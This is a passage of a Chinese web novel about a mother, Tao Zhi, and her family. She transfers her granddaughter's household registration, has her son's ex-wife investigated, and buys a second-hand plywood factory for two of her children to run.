“好孩子,你帮了大忙,阿姨得谢谢你。”
赵子浩有点慌,连连摆手道:“这都是晙哥教我的。”
“但这话,也只有你去说,才有这样的效果。”
他挠挠头:“真的吗?”
程家人忍俊不禁地笑出来。
要说他们这样迁户口,确实没走常规程序,主要是今禾的户口页,在赵钧的户口本上。陶枝才没那么傻,巴巴上去送人头,给机会人家敲一笔。
程星的户口在娘家,一直没有迁去赵家,所以当时离婚后,完全没想起今禾也要迁。现在只好先给程星买户口,然后去街道办开接收证明。真金白银花出去,事情办的就很快。当然,朝中有人好办事,小姑子可是出了力的,陶枝教程星一定要记得。
所以,现在才剑走偏锋,拿着证明就跑来了。其实村里很简单,开一个同意迁户的证明,别的其实也不归他们管。但就是这个证明,必须要有,所以这钱也必须得花。
不过有了赵子浩在,钱花得比想象中少,而且没有便宜了赵钧,陶枝花的就很情愿。
程晙一秒正色:“我刚才不是开玩笑,你想好了告诉我,你愿意跟我去市里上班吗?”
赵子浩张大了嘴巴:“哥你...你...说的是真的啊?”
“自家人不骗自家人。”
赵子浩眼里浮起泪花:“这...这...可是我不知道自己会干什么?”<
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p>程晙拍拍他肩:“没关系,不会就学。”
赵子浩一脸的不置信,找工作哪有这么容易,肯定是晙哥在可怜他。
他回绝:“哥,谢谢你,我不去了吧,我不能拖累你。”
“你拖累我什么?”
“买一份工作要不少钱,万一我学不会,或者是没做好,你的钱就白白打水漂了。”
程晙失笑:“谁说我要给你买工作了?”
赵子浩愣了:“啊,不是吗?”
程晙伸手揉他的头:“当然不是了,我自己都缺人用,怎么可能把你推给别人?”
赵子浩都惊呆了:“哥,你这么年轻,就已经是老板了?”
程晙一边眉毛挑起,吊儿郎当看着他:“是啊,看不出来吧?”
赵子浩开始崇拜他了:“真看不出来。哥,你太厉害了,我要向你看齐。”
程晙得意的笑了起来:“跟在哥后边,好好学,你赚大发了我告诉你。”
赵子浩点头如捣蒜,生怕忠心表得不够快。
回到他放牛的地方,程晙想陪他下去,收拾东西带他回市里。
陶枝闻言,拦住了程晙。
“我们作为外来人,不要去掺和那么多事,人家会以为你有什么居心。”
“他们难道不讲道理?”
陶枝哼一声:“你都要把他儿子拐走了,还有什么道理可讲?”
“如果我不陪着,他家里不放人呢?”
“你穿成这样子,还开着一辆车,你自己说,像不像一只肥美的羔羊?”
程晙扫视自己,他的牛仔裤和皮夹克,很好看啊,没什么问题。
陶枝没眼看,“你看看村里人穿的什么?”
程晙恍然大悟,“人家说先敬罗衣后敬人,我还以为能给小赵撑腰呢。”
“那你更不应该出现。万一他和家里没谈拢,转头以为是你挑唆的,他爸气头上难保不会迁怒。等他叫上几个同村的人来,双拳难敌四手,到时你想走都走不掉。”
“所以还是小赵自己回去?”
“对,一切照旧,不要让他们看出端倪。小赵今天就单纯带路,和我们没有别的牵扯,这样也是在保护他的以后。”
程晙被说服了,他留下地址电话,叫赵子浩到时自己去找他。
赵子浩接过纸条,来回看了几遍,就还给程晙说:“我记住了。”
陶枝也感慨,小赵确实心够细。
程晙全须全尾的,把老妈和老姐带回家,又顺手帮了个小朋友,他觉得自己今天圆满了。他拿着老妈报销的钱,准备出门和朋友约饭去,没想到陶枝叫住了他。
看到老妈大方的份上,他屁颠屁颠跑过去:“老妈,您有何吩咐?”
“你把之前帮查赵钧的朋友,介绍给我。”
“老妈你想查谁?”
“这你就别管了。”
“那哥们很谨慎的,多一人知道,他就多一分风险。”
“有生意他也不接?”
程晙摇头:“他又不缺钱。”
陶枝为难了:“但这事,你不适宜插手。”
程晙猜出来了,他不管这些破事:“那我先问问他,不管结果怎样,妈你别怪我啊。”
陶枝轰他出门:“你快去吧。”
17. 第 17 章
陶枝不是心血来潮,她是从程晖离婚起,就有的这个念头。
毕竟事情偏离太多,陶枝感觉她这只蝴蝶,扇动翅膀的威力也太大了。
上辈子,覃厉敏可是把程晖拿捏得死死的。叫他往东,从不敢往西;叫他站着,他绝不坐着。陶枝在底下气得,棺材板都快压不住了。
程晖不是没反抗过,被覃家找人收拾了一顿。老头子真是没脾气,天生的老好人一个,别人指着鼻子骂都不生气。以至于儿子被打了,也不懂得要以暴制暴,还被人爬到头上撒野。
换句话说,就是在陶枝的坟头蹦跶。可惜她不是阿飘,没办法自由出入地府,不然高低得上来吓他们几回。
陶枝认真反思了,一家子都这脾性,具体原因是什么?总结起来,爷爷奶奶带大的小孩,没有父母亲自带的底气足,自觉失了撒娇撒痴的权力。
因为程晙和程曼,就是她自己带的。性格脾性俱不同,自信开朗又乐观,有事也会和妈妈说。不像大的这两个,心事全埋心底,像程晖到今天,也没有交代怎么离的婚。
陶枝才不得已自己去查,难得孩子任性一次,善后的事就留给老的呗。
不知程晙用了什么办法,总之第二天,就把他朋友闻煦载来了。
陶枝在书房里待客,她把要求细细分说,闻煦接收之后就告辞了。
陶枝把人送到门外,这是婆婆教她的:请人做事时,要懂得礼遇他人,有时会有意外之喜。
第二天,程星去给今禾入户,回来后,把户口本递给陶枝。
陶枝翻开一看,户主:程星;女儿:程今。
程今?陶枝抬起头,程星正看着她微微笑。
“不错啊,很有长进,知道悄摸干大事。“陶枝毫不吝啬地夸奖道。
程星手坐到她旁边,有点小得意的问:“怎么样,好听不?”
“比赵今禾好听一万倍。”陶枝肯定她。
程星笑得灿若桃花,抱着程今啵啵亲了几口。
陶枝打心底为程星开心。
程明澄跟着他爸,陶枝专心带外孙女,一边在等着闻煦的消息。
人真是不经念叨,不过几天,闻煦就自行上门来了。
陶枝还问人喝什么?有茶,白水,和咖啡。
闻煦揉着黑眼圈,捂着嘴打了个哈欠:“阿姨,我要一杯浓咖啡,谢谢。”
陶枝满足他的要求。
她刚坐下,闻煦就掏出一堆照片,“阿姨,你要有点心理准备。”
陶枝笑笑:“没事,阿姨经得起,谢谢你的关心。”
闻煦听见,没再多说什么,直接把照片给了陶枝。
陶枝一张张翻看,照片里都是覃厉敏,和情夫的亲呢行为。她现在完全不避人了,直接搬到情夫家里住,离婚的事也被宣扬出来,她抛夫弃子的事闹得全村皆知。
爱情果然让人麻木,这么精明市侩的一个人,居然也为了一个男人,舍弃优渥生活不要,宁肯陪着他吃糠咽菜。
如果上辈子也有这码事,而又从未暴露的话,覃厉敏又该怎么做?是一边吸着程家的血,一边供养着这个情夫?精神物质两手抓?嗯,不排除这个可能性。
这次程晖这么痛快离婚,是不是因为发现了奸情?不然照程晖的性子,宁为玉全,不怕瓦碎,拖上十年八年都有可能。
陶枝感谢她这么高调,决定再助其一臂之力,让这对狗男女锁死,既断了覃回头的可能,也省得再去祸害别人。
她低声和闻煦说了几句,闻煦望着她,她肯定地点了点头。
闻煦露出促狭的笑容,点头应好。
陶枝收起照片,这好歹也算一个证据,她再次向闻煦道谢,并且封了一个大红包。
闻煦不肯收,他和陶枝说:“阿姨,听程晙说,您想了解胶合板厂?”
陶枝坐直了:“你有门路?”
“如果您想找厂子和设备,我刚好认识有人出二手。”
“我得问问你叔,那个人卖得急吗?”
“家中老人生病,需要尽快出手。”
“那这周日,我给你消息?”
“好的,那天我再过来,祝您身体健康,阿姨再见。”
晚上,陶枝和老头子打招呼,程向前叫她问儿子的意见。
陶枝很听话,立马和程晖说了,程晖说他需要了解一下。
陶枝给他三天时间,把她和闻煦的约定,也一并告诉程晖了
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接下来三天,陶枝带着程今,一起接送孙子上下学,在家连程晖的人影都看不到。
周五的晚上,程向前也回来了。程晖坐在父母对面,和他们商讨这三天的调研。
程晖首先肯定了胶合板的前景,大有可为,而且现在进场也正是时候。目前他有两个难题:第一,资金问题,缺的可不是一星半点;第二,人才问题,他作为新人,可以说完全不懂行,去哪里找信得过又懂行的人?
程向前皱起眉:“办一个板厂,需要多少钱?”
程晖回答:“光机器就得上百万,还不算场地,人力,原料,运输等等。”
“那不是要两百万起步?”
程晖认同:“大差不差。”
饶是程向前有心理准备,也不禁倒抽一口冷气。他的机械厂,开始时就只有一台车床,还是挣一点钱买一台机器,再挣一点钱又买一台机器,这样子慢慢做起来的。
他开厂是只有三年,但如果从小作坊算,那就有七八年的历史了。毕竟当时只想着多挣点,家里不至于连学费都交不起,可不敢想开厂挣大钱。
最终是妹夫推了一把,主力也是他,拼死拼活,一日不休,干了三年,靠着妹夫给的大订单,才挣下这么些钱。
结果,这边一开口,单投资就要200万,程向前也不免心惊胆战。
他看向陶枝,想让老婆子冷静一点。
然而陶枝这时说:“闻煦,就是你弟朋友,说知道哪有二手的设备卖,要不明天我们去问问价?”
程向前使眼色也不行了,他只能开口劝说:“阿枝,要这么多钱,我们是不是慎重考虑下?”
陶枝回他:“我们先去看,又没说要买,你先别着急。”
程向前把话咽回去了,他又转头去看程晖。
程晖这才说话:“爸说得对,我们确实没那么多钱。”
“那二手的机器,你想去看看吗?”
“看看可以,多了解了解,为以后做准备。”
陶枝觉得这才像她儿子,想都不敢想,做也不敢做,还是没气性的话,那她要活生生被气死。
她一锤定音:“那就周日,大家一起,老头子也去。”
18. 第 18 章
周日很快到了。
一家三口,穿戴整齐,跟着闻煦去看场地和机械。
程晙被闻煦征用当司机,这个费用就不是陶枝承担了,她乐享其成。
厂房在郊区,占地还算可以,有二十多亩的样子,方圆一里看不到人家。厂里的设备很齐全,有旋切机,干燥机,预压机,热压机,锯边机,砂光机等,算是一个小型规模的工厂,属于一接手立马就能开工。就有一点不甚完美,设备看起来挺旧了。
程晖跟着全场看了一遍,他问厂长机械作价多少?
厂长把每一台机器都开动,一一运行试给他们看,他说:“机器只是看起来旧,但没有一点破损,用起来是完全没问题的,而且我们用了这么久,有些机器你看它老,磨合得比新机器还好用。一口价二十万,所有的都可以拉走。”
程晖狠狠的心动了,他看向程向前,机械这一块,专业性还得靠他爸。
他爸没有看他,而是耐心陪厂长聊天。包括但不限于,厂房选址,原材料供应,用人问题,销售门路,以及环保等等。同为初代创业者,一说到开厂的糟心事,两人简直是相见恨晚,苦水多到三天三夜都倒不完。
临走之前,程向前表达了对厂长的欣赏,也承诺他们思考两天就给答复,他也老实承认了资金和外行的问题。厂长表示十分理解,他答应老头子等三天,两人差点来个十八相送。
程晖第一次见到他爸这样,他的眼睛差点都瞪出眶了,惊讶得不得了。
陶枝给他一巴掌让他回神。
到家后,程晖迫不及待地问:“爸,您怎么看?”
程向前如实回答:“这行是可以做。”
“但是,20万买设备,咬咬牙能买下,你想的没错。但是,你怎么解决别的开销大头?”程晖还没来得及高兴,一盆冷水就泼过来了。
程向前接着说:“场地在哪里?老师傅哪里请?原材料还好说,但是销售谁去做?如果你既想盯生产,又想管销售,那我劝你还是别做了。”
“为什么?爸您前期不也这样过来的吗?”
“因为我懂行,就算我闭着眼睛,也没人能骗得了我。”
程晖把求救的目光投向陶枝。
陶枝对他摇头,表示爱莫能助。
程向前说他:“饭要一口一口吃,路也要一步一步走。你光想着能做,可以做,做起来就能赚钱,一拍脑袋就要入行,这在商业里是大忌。有句话是这么说的:你赚不到你认知以外的钱。”
“爸,那我要怎么做?”
“你去找家厂,去上班也好,去偷师也行,先把行业再摸透一点。俗话说:外行看热闹,内行看门道。你现在就是个纯外行。”
“那......那......今天我们去看的设备,会不会白白错过了?”
“那你钱够吗?”
程晖不好意思地低下头。
“你明天就去进厂,不管你用什么办法。还没学会走,就先想跑了?”
程晖丧丧的回了一句:“哦。”
“这样,两天后,你写一份商业计划书。如果你能打动我,我和你妈,就帮你想想办法。”
程晖听见这话,立马眉开眼笑。
第二天,他当真一早出去找工作了。程明澄现在是陶枝在带,他完全没有后顾之忧,可以专心去忙自己的事。
程向前也空出一周的时间,叫程晙载着到处去看去拜访。当然,这事瞒着程晖进行。
等到晚上回家,程晖带回一身的木屑,陶枝叫他抖干净再进门。
他在饭桌上高兴地宣布,“我今天当上截断工了。”
程明澄问:“爸爸,什么是截断工?”
“就是切木工。”
“哇~”全场也就明明捧场了。
临睡前,陶枝问:“老头子,你觉得程晖能行吗?”
程向前脱下老花镜,放下书本揉揉眼睛:“行不行的,总要让他试试。”
她有点担心:“可是他连个学徒工都没混上。”
“你呀,就是期望太高,程晖又不是程晙,他呀,七窍现在通了六窍。”
陶枝不高兴了:“有你这么说儿子的吗?”
“我的意思是,程晖他实诚,这点很难得。”
“怎么难得了?”
“为人诚恳,做事踏实。”
陶枝撇嘴:“我倒宁愿他早点开窍。”
程向前安慰她:“不要急,迟早的事,你看他现在进步多大。”
“也是,环境能毁掉一个人,同时也能造就一个人。”
她话题一转:“你考察得怎么样?”
程向前好笑:“我这才出去一天。”
“都是千年的狐狸,别藏着掖着了,我猜你早就有了想法。”
“钱的问题不大,场地也好解决,现在不愁销量,关键价格有优势,设备我打算拿下。”
“那程晖?”
“要么他向我们借钱,自己单干或者合伙,反正我不和他凑一块。要么我就把机会给程晙。要实在不行,我就自己顶上。”
陶枝瞪他:“也不看看你几岁了,还自己顶上?这事我不同意。”
“你得相信你儿子,起码程晙肯定愿意。”
陶枝摇头:“我看未必,他的兴趣不在这,这点子还是程晙说的呢。”
“哟,这小子可以啊,到处都能发现商机。”
“谁说不是,要换了程晙,我都不用操心。”
“这话不好在孩子面前说啊。”
陶枝翻了个白眼:“你当我傻啊,手心手背都是肉,个个都是我的宝贝。”
说完她又愁:“程晖都没自己干过事......”
“别怕,大不了就是亏,那就当花钱买教训了。”
“我这阵子也花了不少。”
“没事,你尽管花,机械厂还在赚钱,我努力赚够你使的。”
陶枝开怀大笑,她觉得老头子还是很可爱的。
说干就干,程晖没有给计划书,程向前也不等他了。还是原班人马,除了程晖上班,闻煦也来了。大家一起坐下,把这单买卖促成,等到银行转账成功,这批设备就改姓程了。
程向前之前问过的,这个厂房可以转租,他干脆把这里也租下来,省得再去找别的地方找。工商和税务,排污环保,这些依着厂长的去办就好,可算省了他不少事。
因为程向前知道,这钱人家拿来救命的
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,他也就没有压价,很爽快地把全款给付了。厂长投桃报李,把自己的供应商,工人,客户这些名单,也都一并转给他。
程向前不敢要,他说:“老哥,等你情况好了,拿着这些资源,你随时可以东山再起。”
厂长苦笑:“不能了,我都这把年纪了,年轻的也不喜欢这一行,不然咬咬牙,我也不至于把厂子都卖了。”
程向前听了,也满是心酸,“那你按市价卖给我吧。你白给我的话,我是真不敢要。”
厂长一把握住他的手,眼里饱含着泪花,嘴里一直念叨着:“好人有好报,好人有好报。”
程向前拍拍他的肩,男人大丈夫,一切尽在不言中。
陶枝在一旁也悄悄摸眼角,她这是为老头子高兴呢。
厂子就这么易名了,程向前只需要改个名字,重新挂个牌子上去,就可以重新开工了。
回去之后,程向前卧室的书桌上,摆着一份手写的计划书。
他拎起来,对陶枝说:“迟了一天,但总算交了。”
“你先看了再发表意见吧。”
陶枝其实有点心塞,她千计划万算计,在想着钱怎么挪用,结果程晖还在拖后腿。
老头子正专心,她不打扰他,转身下楼去找外孙女。
程今这个小宝宝,一岁半了,摆脱赵家那老虔婆后,终于可以奶声奶气叫人了。
她一见到陶枝,嘴里嚷着“婆婆婆婆...”,就踉跄着要跑过来。
专门带她的李阿姨见状,连忙跟在她身边护着走。
程今一把抱上外婆的大腿,仰着头冲她甜甜的笑:“抱抱。”
程今除了晚上她妈带睡,平时见得最多的就是阿姨和外婆。
外婆又天天笑眯眯的,所以她一见到陶枝就亲近。
陶枝弯下腰,抱起这小可爱,亲呢地贴贴她的脸蛋。
“宝宝今天乖不乖呀?”
“乖~”
陶枝的心都要化了。
她把程今抱进厨房,问阿姨:“宝宝今天吃饭怎么样?”
“中午小半碗粥,还有小半碗菜,自己哼哧哼哧吃完的。”
陶枝很夸张的,音调都高了八度,“哇,宝宝这么棒呀,你这么厉害的哦,自己把饭给吃光了。”
程今被夸得咔咔大笑,她骄傲地挺起小胸脯:“厉害,我厉害。”
阿姨在一旁笑得直发抖。
“你做得这么好,外婆要奖励你,宝宝想要什么呀?”
程今苦恼地思索了半天,“奶糖,两颗。”
“为什么是两颗?”
程今指指自己:“我,妈妈。”
陶枝拉平嘴唇,装作不开心的样子:“啊,外婆没有吗?”
程今摸着她的脸:“外婆,很多。”
陶枝立马笑了,点点她的鼻子:“小机灵鬼,幸好不像你妈。”
说完,她从橱柜掏出两颗大白兔,边给程今边教她数数,“这是一,这是二。”
程今也跟着:“这是一,这是二。”
数了两次,宝宝就记住了。她反复念叨:这是一,我;这是二,妈妈。”
陶枝就静静看着她,一时浑忘所有的烦心事。
19. 第 19 章
程向前下楼找老妻时,便看到这样一副画面:妻子和宝宝安然其间,周遭的一切都如此和谐,时光静好,莫过于此,他一时竟不忍打扰。
还是程今先看到他,“外公外公”的叫着,打断了他心里的思绪。
程向前爽朗一笑,抱起她放上肩头,乐得程今“驾驾驾”个不停。
陪程今骑了几分钟大马,程向前把她放下,抱还给了李阿姨。
李阿姨顺势抱着程今去花园玩去了。
陶枝坐下,问老头子:“怎么了?”
程向前把计划书递给她,“你看看。”
陶枝一目十行,由头至尾扫一遍,看完翻过来,重新又看了一遍。
她扬扬手中的纸张,不置信地看着老头子。
程向前默认了她的想法。
陶枝定了定心神:“那你有什么想法?”
程向前说:“要不然,问问程晙?”
程晙忙了一天到家,还没坐下歇口气,就被老两口招进了书房。
老头子很直接:“胶合板厂,你有没有兴趣?”
程晙直起了身子:“不是说给大哥吗?”
“你大哥他......还得磨练磨练。”
程晙支招:“给大哥挂个头衔,再招一个职业经理人,让他总揽全局,适当给大哥打打配合。这种事有例可循的。”
程向前苦笑:“你大哥,恐怕不想屈居人下。”
“不然......给大哥招个总经理助理,实质行使总经理的权力?”
“这和架空他有什么区别?”
程晙挠头:“那不然,您们就当给他练练手?”
“说来说去,你就是不想接这家厂子?”
程晙讨好地笑:“妈,您知道的,我忙起来的时候,恨不得一刀劈成两半使。”
陶枝挥挥手,“我知道了,你出去吧。”
程晙麻溜地快走几步,就跟后面有东西在追他似的。
陶枝摊手:“你看吧。”
“这臭小子。”
“程晙有自己想干的事,我们做父母的,没有支持他也就罢了。如果还逼他干别的,这其实是害了孩子。”陶枝苦口婆心道。
“老婆子,你想到哪里去了?程晙比泥鳅还滑溜,你看谁能逼得了他?”
这倒是事实,关心则乱,陶枝也笑了。
“那怎么办?真像程晙说的,干脆给程晖练手?”
老头子有自己的坚持:“那怎么对得起厂长的拳拳之心?”
陶枝不认同:“在商言商,买卖已完成,他还能管厂子如何?”
“我认同他的理念,要做一个安全无毒的,有合理利润的,并且还环保的胶合板厂。”
“你是因为什么否定了程晖?”
程向前头疼:“程晖太容易轻信别人,你看看他所描写的数据,不说我自己去考察过了,就连你没接触过的,应该也能看出不少猫腻吧。”
“是有不少夸大的地方。”
“展望前景是很好,但人也要脚踏实地。”
“你别忘了,人的精力是有限的,你没办法抽身去做,程晙又对此不感冒,现在框架都搭好了,依你说,该怎么办?”
程向前殷切地看着陶枝。
“别看我,我要带孙子,还要建房子,一点空都没有。”
“给你招个经理人呢?”
“那厂子不如给程晖。”
“如果只给程晖搭手呢?”
“你让我听程晖使唤?抱歉,我做不到。”
“他哪里敢使唤你,还不是一切都听你的。”
陶枝瞪他:“那和交给我有什么区别?”
程向前不吱声了,他属意的人都不接,想接手的人能力又不够,他实在想不出什么辙了。
陶枝看他烦恼,突然灵机一现。
“我们是不是忘了一个人?”
“谁?”
“程星。”
程向前站起来:“程星?”
陶枝肯定他:“对。你别忘了,程星的工作,可是她自己找的。虽说是妹夫的公司,但她是实实在在,自己过五关斩六将,一考二考三面进去的。当时可没人知道她是关系户哦。”
程向前想起来了,当时全县一千多人报名,听说只有五十几个招工名额。
“还有,我们刚开厂时,人情的迎来送往,全是程星一手操持的。”
“而且,程星是高中毕业。”
陶枝没再说下去,儿女之间,其实是不好这样比较的。但是照目前来说,如果是去管一家厂子,程星确实比程晖更能胜任。
程向前压根没想过程星,主流思想还是出嫁从夫,就算离了婚回到娘家,他也没有把程星纳入考虑。陶枝给了他当头棒喝,他从而审视了自己,女儿其实也有同等的权力。
程向前沉吟半晌,“我们问问程星的意见?”
陶枝去程星唤过来。
程向前把前因都说了,然后问程星:“你愿不愿意接手?”
“爸爸,我没做过,听起来挺难的,要不您还是交给大哥吧。”
“可是程晖一样没经验。”
“大哥起码想做,热爱就是最好的老师。”
“工作和学业可不一样,热爱不能当免死金牌。”
“爸爸,我完全不了解,一时回答不了您。”
“那明天带你去工厂走一走?”
程星为难地望向陶枝。
陶枝摸摸她头,“你去看一看,不喜欢我们就不干。”
“那可以叫上大哥吗?我想和他一起去。”
陶枝心念急转,顿时明白了程星的顾虑。她说:“我帮你和程晖说。”
程星如释重负,这才露出了笑容。
陶枝问:“明天几点下课?”
“我上午都没课,教会计的老师请假了。”
“那妈陪你走一趟?”
程星开心地应好。
陶枝叫老头子去洗漱,她去一楼等程晖回来。
时针指向九点的时候,程晖拖着疲惫的身躯回来了。
陶枝看他脸色不对,连忙放水给他泡个澡,接着又去厨房煮了一碗面。
程晖出来后,接过面碗,呼噜呼噜的暴风般吸入。
陶枝叫他:“你慢点吃,不够锅里还有。”
程晖吃了一碗面,才把速度降下来。
陶枝问他:“你在厂里没吃饭?”
程晖擦擦嘴巴:“别提了,今天我据木慢了,差点没跟上产能,哪有空去吃饭。”
陶枝一听,心疼死了,感情占了上风,“就没人帮帮你吗?”
程晖不
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好意思:“妈,一个萝卜一个坑,人家也有自己的事要忙。”
陶枝的理智回笼,这才后知后觉自己说了什么蠢话。
她掩饰地转移话题:“那怎么忙到这么晚?”
“组长说给明天备一点,等我上班了,就不至于手忙脚乱的。”
人家的安排不算错,陶枝也不好说什么。
她试探地问:“那明天能请假吗?”
程晖急忙摇头:“我现在都有点忙不过来。”
“你上班这么忙,那胶合板厂呢,还能不能干了?”
程晖点头:“能啊,我辞职就是了。”
“你干几天就辞职,会不会影响不好?”
“不会,我和组长说过,我干不了多长时间,那些同事也都知道。”
怪不得让他伐木,也没人教他技术呢。
陶枝叹气,老头子盛赞老实人好,除了踏实肯干,她是看不出还有哪里好。
“那你明天就去辞职吧。”
“妈,您同意我开厂了?”
陶枝没松口:“先不说这个,但是就你这身板,再卖几天体力活,我怕得去医院看你。”
程晖嘴硬:“不会的。”
陶枝用力拍一下他的肩膀,他哎哟一声直接缩成一团。
陶枝冷哼一声,瞥他一眼上楼去了。
去到老头子的房里,陶枝憋了一肚子气:“买机器是你拍板的,和程晖没半毛钱关系,你别有事没事就怪他。是,我儿子写的计划书不行,但那又怎样,他说不定就是文书写不好,做事情还是很有责任心的。你别想一杆子否定他,我告诉你,这事我不同意。”
程向前愣怔地看着陶枝,不明白她这么突然发飙了。
“我告诉你,程晖如果想干,那这事他干定了。我不想听你啰里八嗦,这个不能那个不行的,我儿子我怎么看怎么行。”
“还有,程星也是,你别只记得你儿子。要是你眼里没女儿,那我们离婚,女儿我来管,我们不碍你的眼。”
这话就严重,程向前吓得跳起来,他使劲去拉陶枝的手:“老婆子,谁给你气受了?”
陶枝瞟他一眼:“谁老了?”
程向前忙不迭求饶:“我,是我老了,我是老帮菜,你还年轻着。”
“动手动脚的,你想干嘛呀?”
“我怕你站得累,让你坐着歇息会。”
陶枝骂了一顿,气也出了一半,她问老头子:“刚我说的,你听清了吗?”
程向前直点头:“一清二楚,一个字都不落。”
“那你是怎么想的?”
“就按你说的做。但是,绝不离婚,女儿我也管。”
“之前怎么没见你管?”
程向前想给自己喊冤,又怕陶枝气头上给他定罪,到时他有理都没地方说。
“是我的错,我忙着赚钱,疏忽了家庭。”
“女儿和你都不亲近。”
程向前有苦说不出,除了两个小的,两个大的都不亲近啊,他扮演的又不是慈父角色。
“现在你指出错误了,我以后一定改,你就负责好好监督我。”
“当真?”
“我说到做到。”
“现在夜深了,我怕你不清醒,等明天早上,睡醒了我再来问你。”陶枝施施然回房了。
20. 第 20 章
陶枝发了一顿火,心情舒泰,她睡得好极了。
吃早餐的时候,她像个无事人一般。程向前看她这架势,心想老婆子应该翻篇了。
果然,陶枝没找他茬,只是问他拿钥匙。他愣了一下:“什么钥匙?”
“厂房的钥匙啊。”
“不用,我请了保安看家。”
陶枝略显意外:“什么时候的事?”
“买下来的当天,还是厂长提醒我的。那么些机器,又是在近郊,如果没人看守的话,小偷敢光明正大拉了当废铁卖。”
陶枝才记起,到哪个山头,唱哪个山头的歌,更何况他们是外来户。
“那我们拜过山门了吗?”
“这个就不必了,厂房属于东山村管辖,租金就是交给村里的,他们也要护我们几分。而且,我答应了村长,会从村里请工人,得益于厂长和他们交好,村民里有好几个熟手呢。”
陶枝不得不感叹,老头子一念善意,换来人家的真心相待,他的运气着实不错。
她本来想撇下老头子的,现在不得不带上他了,因为保安未必认识她。如果等下,她连厂子都进不去,那岂不是白白跑一趟?
这叫人在屋檐下,不得不低头,陶枝如此安慰自己。
饭后俩小时,程晖还没见人,陶枝决定不等了。她提前约了一辆车,和师傅说好包今天,就没有再使唤程晙了。毕竟他又不是谁的司机,年轻人也有自己的事要忙。
说是说郊区,距离也不算远,开车半个小时。因为连接着下属的县,一路走的都属于国道,已经全程铺设沥青了。程星看到这路况,猜爸爸那么快成交,肯定把交通也考虑到了,一时对程向前有些钦佩。
程星远远望见,排架结构的单层厂房,像粗犷的钢铁巨兽,就匍匐在路的拐弯处。
车子驶近,看到一个很大的空地,说是用来堆放原木的。正前方就是厂房了,外层是粗粝的砖墙,庞大,暗红,陈旧,却实用。墙上开着巨大的钢窗,还接有白色的铁皮风管。屋顶采用钢架棚结构,实现了无柱的车间,使得空间上更为宽阔。
灰的天,灰的墙,灰的瓦,一切看起来像蒙了一层布。
陶枝开始后悔了,她不舍得让程星,在这种粗糙的,灰败的,布满粉尘的环境工作。
程向前和保安打招呼,司机呆在门卫室休息,他则陪着程星进去厂里。当然,陶枝也陪同着一起进去。
门口的水泥地是堆场,这个大家都已经看到了。进去厂房之后,是一个连跨的大车间。多个车间连在一起,不用隔断来做区分,为了方便物料的流动,从而节省了距离和时间。
根据功能,大致可以分为:原料预处理区,旋切与干燥区,整理、施胶与组坯区;热压区。后期加工区这里,因为粉尘的关系,则砌了一堵实墙,与整个车间切割开来。
出去之后,外面的独立厂房,则是锅炉房,配电房和成品仓库。
程星看得津津有味,这是她第一次直面,这么原始简陋的厂房。
机械厂不用说了,全部都是混凝土,很厚重坚固的砖墙,并且有许多粗大的柱子,开了很多的窗,光线好得不得了。最记忆深刻的就是,机油的味道太重了,头顶呼呼直吹的吊扇,也吹不散工人们的汗臭味。
而程星上班的食品厂,要求只有更高更洁净。光滑的涂料墙面,白色的瓷砖墙裙,干净的水磨石地面。整个空间封闭,灯光亮如白昼,24小时冷气开放。上一天班下来,身上只有食品的香气,连汗都不会多流一滴。
对比之下,这个胶合板厂,就如一个未进化的野人。
程星兴致勃勃的,逛完了整个厂区。因为下午她还有课,所以差不多时间就打道回府了。
先把程星送去学校,然后陶枝他们再回家。
走了这么长时间,饶是陶枝精力旺盛,此刻也觉累得不行。随便对付几口,两夫妻就回房午休去了。
午睡起来,程晖也到家了。
陶枝看见他:“怎么不早点回来?”
“大清早的主管不放人,他还叫我上完今天呢。”
“工资结了吗?”
程晖从口袋掏出三十块,“结了。”
陶枝又气又好笑,向他伸手道:“拿来。”
程晖捏着钱,有点不舍得,“妈,这是我第一次,靠自己赚的钱。”
陶枝斜眼,“怎么,你爸没给你开工资?”
“那不一样,老爸给的,那叫补贴。”
“哎哟,原来你都知道呀。你们四兄弟姐妹,花得最多的就是你。程星自己有工资,结婚后没向我开过口。程晙自己有脑子,敢想敢做,朋友多路数也多,自己能挣不说,时不时还能孝敬我几分。程曼还在读书,就不说了,她除了这次转学,交了一笔借读费之外,也没什么大的花销。”
“程晖啊程晖,可是你呢?你有帮你爸工作,给你开工资是应该的。可是你别忘了,你的老婆孩子,也是我和你爸养的。每个月就跟发工资一样,给他们娘俩发零用钱。”
“你第一次辛苦赚的钱?那也是我第一次,见到你赚钱拿回家。”
程晖被说得羞愧不已,乖乖把钱递给他老娘。
陶枝才不管钱多钱少,反正之前都懂得孝敬老婆,那么从今天开始,学一学怎么孝敬老爹老娘吧。
她乐滋滋的拿着钱,去菜市场买了两斤肉。
晚上吃饭,她当着全家人的面,狠狠夸了程晖一顿。她在地府学会的:情绪价值给足了,别人才会乐意听你的,威迫利诱只是下下策。
饭后,陶枝宣布,程晖与程星,两个人一起,明日起想办法启动板厂。
程星还算有准备,程晖乍然听到,犹如晴天炸了一个雷。
“啊,两个人要怎么做?”
之前就和陶枝商议好了,程向前乐得当甩手掌柜,现在他感到浑身轻松。他自诩心脏挺强悍的,不在意亏本与否,他打定主意好好看戏。
厂子已经盘下来,他确实没精力经营,既然沉没成本已经固定,不如放手给他们一搏。
老婆子说得对,谁不是自己摸
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爬滚打,而探出来的康庄大道?
陶枝耸耸肩:“这是该你们操心的事。”
“对了,工人要从村里找,这是你爸答应人家的。”
程晖和程星面面相觑,“妈,那启动资金呢?”
“你俩合计合计,算好了告诉我。”
“有没有限定多少?”
“最高五十万,多了一分没有。”
这五十万,是和老头子计算过的,也是他们能给的最大支持。陶枝还要留一笔钱建房子,所以不可能把存款都动用了。即使最坏的打算,他们两个,把这笔钱都亏完了,那陶枝就准备去一线城市,买它个十套八套房子,用来以后收租养老。
再退一万步来说,在现有的地皮里,陶枝完全可以建一栋房来收租,所以她一点也不慌。
“那我们谁说了算?”
“请你们自行商议。当然,你们是要合作,还是要打擂台,这些我们都不管。”
程晖才不上当,老妈最爱挖坑了。她一直说兄友弟恭,家人更要互帮互助。如果现在信了她,兄妹俩真的人脑袋打成狗脑袋,陶女士怕是第一个撸袖子收拾他们。
一想到那种画面,程晖赶紧摇了摇头,告诫自己切勿踩线。
“妈,那我的课呢,还继续上吗?”这是程星在问。
“嗯,这个你自己权衡吧,喜欢就争取,不然就放弃,这是你的权利。”
“我和大哥都没经验......”
陶枝知道这是他们的托词,她没忽略程星炙热的眼神,还有程晖的蠢蠢欲动的斗志。不过第一次担事,是会忐忑不安的,她只好化身为慈母,鼓励他们尽管放手去做。
